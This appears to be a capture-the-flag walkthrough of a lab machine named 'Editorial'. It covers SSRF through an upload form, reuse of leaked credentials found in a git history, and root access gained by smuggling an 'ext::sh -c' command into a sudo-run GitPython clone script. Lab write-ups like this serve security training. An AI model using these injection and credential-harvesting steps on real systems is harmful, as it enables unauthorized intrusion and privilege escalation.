Reading Time: 5 min read
Start 09:45 28-07-2024
Nmap recon
Section titled “Nmap recon”First of all I did a thorough nmap scan of the system and it seems that only 2 ports were open, namely 22/ssh and 80/http.

80/TCP - HTTP
Section titled “80/TCP - HTTP”/etc/hosts
Section titled “/etc/hosts”After finding out that the system has a web page running on port 80, we add it to our /etc/hosts file under editorial.htb. I then visited the site and came across a book publishing site. Right away the editorial.htb/upload page seems interesting to us.

It seems we could use this page to upload malicious files in order to get a reverse shell.
Page source
Section titled “Page source”After checking the page source we find the following JS script:
<script> document.getElementById('button-cover').addEventListener('click', function(e) { e.preventDefault(); var formData = new FormData(document.getElementById('form-cover')); var xhr = new XMLHttpRequest(); xhr.open('POST', '/upload-cover'); xhr.onload = function() { if (xhr.status === 200) { var imgUrl = xhr.responseText; console.log(imgUrl); document.getElementById('bookcover').src = imgUrl; document.getElementById('bookfile').value = ''; document.getElementById('bookurl').value = ''; } }; xhr.send(formData); });</script>Whether this is useful to us right now, we will probably find out later on.
BurpSuite
Section titled “BurpSuite”Looking at the form we can try to send a malicious upload using BurpSuite.
This could possibly make the form susceptible to SSRF attacks.
In order to utilize this we need to open up BurpSuite and try to send a preview of a random picture.

After clicking the preview button we see the following response in Burp

We can send this POST request to Repeater in order to analyse the request further.
Here we see the POST request in raw format and the response that we get after sending it.

After getting the response from Repeater, we can use the response in the 8th row as a GET request to find out more. After forwarding the GET request the following message pops up:

We see ==login credentials== mentioned which will for sure be useful to us.
U: devPW: dev080217_devAPI!@We can then try and login into 22/SSH using these credentials.

Logged in successfully as dev.
22/TCP - SSH
Section titled “22/TCP - SSH”user.txt
Section titled “user.txt”After we’ve logged into ssh using the default credentials we should now try to get the user flag first.

Fairly simple stuff.
Privilege Escalation
Section titled “Privilege Escalation”Unfortunately we cannot check sudo privileges

Instead I’ve found a few files inside the apps directory in the /home directory:

Here we see a whole .git folder including commits, logs etc. Let’s check these folders and see if there’s anything interesting for us.
Inside the logs folder we find the HEAD file containing all the commit messages:

Here I found a commit containing a message mentioning commit: change(api): downgrading prod to dev. The particular commit is under
1e84a036b2f33c59e2390730699a488c65643d28
we can check the commit using git show COMMIT
dev@editorial:~/apps/.git/logs$ git show 1e84a036b2f33c59e2390730699a488c65643d28commit 1e84a036b2f33c59e2390730699a488c65643d28 (HEAD)Author: dev-carlos.valderrama <dev-carlos.valderrama@tiempoarriba.htb>Date: Sun Apr 30 20:51:10 2023 -0500
feat: create api to editorial info
* It (will) contains internal info about the editorial, this enable faster access to information.
diff --git a/app_api/app.py b/app_api/app.pynew file mode 100644index 0000000..61b786f--- /dev/null+++ b/app_api/app.py@@ -0,0 +1,74 @@+# API (in development).+# * To retrieve info about editorial++import json+from flask import Flask, jsonify++# -------------------------------+# App configuration+# -------------------------------+app = Flask(__name__)++# -------------------------------+# Global Variables+# -------------------------------+api_route = "/api/latest/metadata"+api_editorial_name = "Editorial Tiempo Arriba"+api_editorial_email = "info@tiempoarriba.htb"++# -------------------------------+# API routes+# -------------------------------+# -- : home+@app.route('/api', methods=['GET'])+def index():+ data_editorial = {+ 'version': [{+ '1': {+ 'editorial': 'Editorial El Tiempo Por Arriba',+ 'contact_email_1': 'soporte@tiempoarriba.oc',+ 'contact_email_2': 'info@tiempoarriba.oc',+ 'api_route': '/api/v1/metadata/'+ }},+ {+ '1.1': {+ 'editorial': 'Ed Tiempo Arriba',+ 'contact_email_1': 'soporte@tiempoarriba.oc',+ 'contact_email_2': 'info@tiempoarriba.oc',+ 'api_route': '/api/v1.1/metadata/'+ }},+ {+ '1.2': {+ 'editorial': api_editorial_name,+ 'contact_email_1': 'soporte@tiempoarriba.oc',+ 'contact_email_2': 'info@tiempoarriba.oc',+ 'api_route': f'/api/v1.2/metadata/'+ }},+ {+ '2': {+ 'editorial': api_editorial_name,+ 'contact_email': 'info@tiempoarriba.moc.oc',+ 'api_route': f'/api/v2/metadata/'+ }},+ {+ '2.3': {+ 'editorial': api_editorial_name,+ 'contact_email': api_editorial_email,+ 'api_route': f'{api_route}/'+ }+ }]+ }+ return jsonify(data_editorial)++# -- : (development) mail message to new authors+@app.route(api_route + '/authors/message', methods=['GET'])+def api_mail_new_authors():+ return jsonify({+ 'template_mail_message': "Welcome to the team! We are thrilled to have you on board and can't wait to see the incredible content you'll bring to the table.\n\nYour login credentials for our internal forum and authors site are:\nUsername: prod\nPassword: 080217_Producti0n_2023!@\nPlease be sure to change your password as soon as possible for security purposes.\n\nDon't hesitate to reach out if you have any questions or ideas - we're always here to support you.\n\nBest regards, " + api_editorial_name + " Team."+ }) # TODO: replace dev credentials when checks pass++# -------------------------------+# Start program+# -------------------------------+if __name__ == '__main__':+ app.run(host='127.0.0.1', port=5001, debug=True)(END)And just like that we found the login credentials for the prod user.
Username: prodPassword: 080217_Producti0n_2023!@Using su prod we can change to this user

This user also has sudo privileges for some files apparently:

Using an existing CVE we can utilize the following command:
<gitpython::clone> 'ext::sh -c touch% /tmp/pwned'We just need to modify it slightly for our use case. Since we can run the following commands under sudo:
/usr/bin/python3 /opt/internal_apps/clone_changes/clone_prod_change.py
we just need to change it to:
sudo /usr/bin/python3 /opt/internal_apps/clone_changes/clone_prod_change.py "ext::sh -c cat% /root/root.txt% >% /home/prod/root.txt"

root.txt
Section titled “root.txt”Just like that we’ve got the root flag.
Root.txt:
c7161454043b2af9126cb4467daa34f0

Finished 21:12 28-07-2024